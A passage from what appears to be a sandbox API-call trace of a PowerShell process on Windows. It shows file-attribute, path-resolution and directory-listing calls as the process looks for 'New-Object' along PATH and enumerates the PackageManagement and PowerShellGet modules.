lpName="PATHEXT", lpBuffer=0x5a2e518, nSize=0xc9 | out: lpBuffer="") returned 0x3a [0177.202] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0177.202] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath", nBufferLength=0x39, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x38 [0177.202] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e424) returned 1 [0177.202] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x5a2e6e8 | out: lpFileInformation=0x5a2e6e8*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x46c57d00, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x46c57d00, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x46c57d00, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0177.203] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e420) returned 1 [0177.203] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e6e0) returned 1 [0177.203] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0177.203] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath", nBufferLength=0x39, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x38 [0177.203] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\New-Object.*" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\new-object.*"), lpFindFileData=0x5a2e490 | out: lpFindFileData=0x5a2e490*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0177.205] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e438) returned 1 [0177.205] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e698) returned 1 [0177.205] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0177.205] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x14, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0177.205] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e424) returned 1 [0177.205] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x5a2e6e8 | out: lpFileInformation=0x5a2e6e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe13712, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x77890ea0, ftLastAccessTime.dwHighDateTime=0x1d99d00, ftLastWriteTime.dwLowDateTime=0x77890ea0, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x80000)) returned 1 [0177.205] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e420) returned 1 [0177.205] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e6e0) returned 1 [0177.206] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0177.206] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x14, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0177.206] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\New-Object.*" (normalized: "c:\\windows\\syswow64\\new-object.*"), lpFindFileData=0x5a2e490 | out: lpFindFileData=0x5a2e490*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0177.206] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e438) returned 1 [0177.207] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e698) returned 1 [0177.207] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0177.207] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0xb, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0177.207] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e424) returned 1 [0177.207] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x5a2e6e8 | out: lpFileInformation=0x5a2e6e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xcf069020, ftLastAccessTime.dwHighDateTime=0x1d99dba, ftLastWriteTime.dwLowDateTime=0xcf069020, ftLastWriteTime.dwHighDateTime=0x1d99dba, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0177.207] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e420) returned 1 [0177.207] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e6e0) returned 1 [0177.207] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0177.207] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0xb, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0177.208] FindFirstFileW (in: lpFileName="C:\\Windows\\New-Object.*" (normalized: "c:\\windows\\new-object.*"), lpFindFileData=0x5a2e490 | out: lpFindFileData=0x5a2e490*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0177.208] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e438) returned 1 [0177.208] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e698) returned 1 [0177.208] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0177.208] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0177.208] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e424) returned 1 [0177.208] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\syswow64\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x5a2e6e8 | out: lpFileInformation=0x5a2e6e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x123dcea, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x496a9b80, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496a9b80, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8000)) returned 1 [0177.209] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e420) returned 1 [0177.209] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e6e0) returned 1 [0177.209] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0177.209] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0177.209] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\New-Object.*" (normalized: "c:\\windows\\syswow64\\wbem\\new-object.*"), lpFindFileData=0x5a2e490 | out: lpFindFileData=0x5a2e490*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0177.254] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e438) returned 1 [0177.254] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e698) returned 1 [0177.254] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0177.254] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0177.254] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e424) returned 1 [0177.254] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x5a2e6e8 | out: lpFileInformation=0x5a2e6e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0177.255] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e420) returned 1 [0177.255] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e6e0) returned 1 [0177.255] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0177.255] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0177.255] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\New-Object.*" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\new-object.*"), lpFindFileData=0x5a2e490 | out: lpFindFileData=0x5a2e490*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0177.255] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e438) returned 1 [0177.255] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e698) returned 1 [0177.256] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x5a2e57c, nSize=0xc9 | out: lpBuffer="") returned 0xc5 [0177.259] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0177.260] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e710) returned 1 [0177.260] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0177.260] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x2b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x2a [0177.261] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\*" (normalized: "c:\\program files\\windowspowershell\\modules\\*"), lpFindFileData=0x5a2e4c0 | out: lpFindFileData=0x5a2e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5c68ec0 [0177.261] FindNextFileW (in: hFindFile=0x5c68ec0, lpFindFileData=0x5a2e4c8 | out: lpFindFileData=0x5a2e4c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0177.261] FindNextFileW (in: hFindFile=0x5c68ec0, lpFindFileData=0x5a2e4c8 | out: lpFindFileData=0x5a2e4c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0177.261] FindNextFileW (in: hFindFile=0x5c68ec0, lpFindFileData=0x5a2e4c8 | out: lpFindFileData=0x5a2e4c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0177.261] FindNextFileW (in: hFindFile=0x5c68ec0, lpFindFileData=0x5a2e4c8 | out: lpFindFileData=0x5a2e4c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0177.261] FindClose (in: hFindFile=0x5c68ec0 | out: hFindFile=0x5c68ec0) returned 1 [0177.261] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e480) returned 1 [0177.261] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e6e0) returned 1 [0177.262] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psd1")) returned 0xffffffff [0177.262] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psm1")) returned 0xffffffff [0177.262] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.cdxml")) returned 0xffffffff [0177.262] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.xaml")) returned 0xffffffff [0177.262] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.ni.dll")) returned 0xffffffff [0177.262] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.dll")) returned 0xffffffff [0177.262] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0177.262] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0177.263] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e460) returned 1 [0177.263] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement"), fInfoLevelId=0x0, lpFileInformation=0x5a2e724 | out: lpFileInformation=0x5a2e724*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0177.263] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e45c) returned 1 [0177.263] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0177.263] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0177.263] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e460) returned 1 [0177.263] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget"), fInfoLevelId=0x0, lpFileInformation=0x5a2e724 | out: lpFileInformation=0x5a2e724*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0177.264] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e45c) returned 1 [0177.264] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e710) returned 1 [0177.264] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0177.264] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0177.264] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\*" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\*"), lpFindFileData=0x5a2e4c0 | out: lpFindFileData=0x5a2e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5c68ec0 [0177.265] FindNextFileW (in: hFindFile=0x5c68ec0, lpFindFileData=0x5a2e4c8 | out: lpFindFileData=0x5a2e4c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0177.265] FindNextFileW (in: hFindFile=0x5c68ec0, lpFindFileData=0x5a2e4c8 | out: lpFindFileData=0x5a2e4c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49b46620, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49b46620, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0177.265] FindNextFileW (in: hFindFile=0x5c68ec0, lpFindFileData=0x5a2e4c8 | out: lpFindFileData=0x5a2e4c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0177.265] FindClose (in: hFindFile=0x5c68ec0 | out: hFindFile=0x5c68ec0) returned 1 [0177.265] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e480) returned 1 [0177.265] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e6e0) returned 1 [0177.265] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0177.265] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0177.265] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e464) returned 1 [0177.266] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a2e728 | out: lpFileInformation=0x5a2e728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49b46620, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea9fba0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea9fba0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0177.266] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e460) returned 1 [0177.266] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0177.266] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0177.266] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0177.266] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0177.266] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e488) returned 1 [0177.266] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x22ae26c | out: lpFileInformation=0x22ae26c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49b46620, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea9fba0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea9fba0, ftLastWriteTime.dwHighDateTime=0x1d73a90, 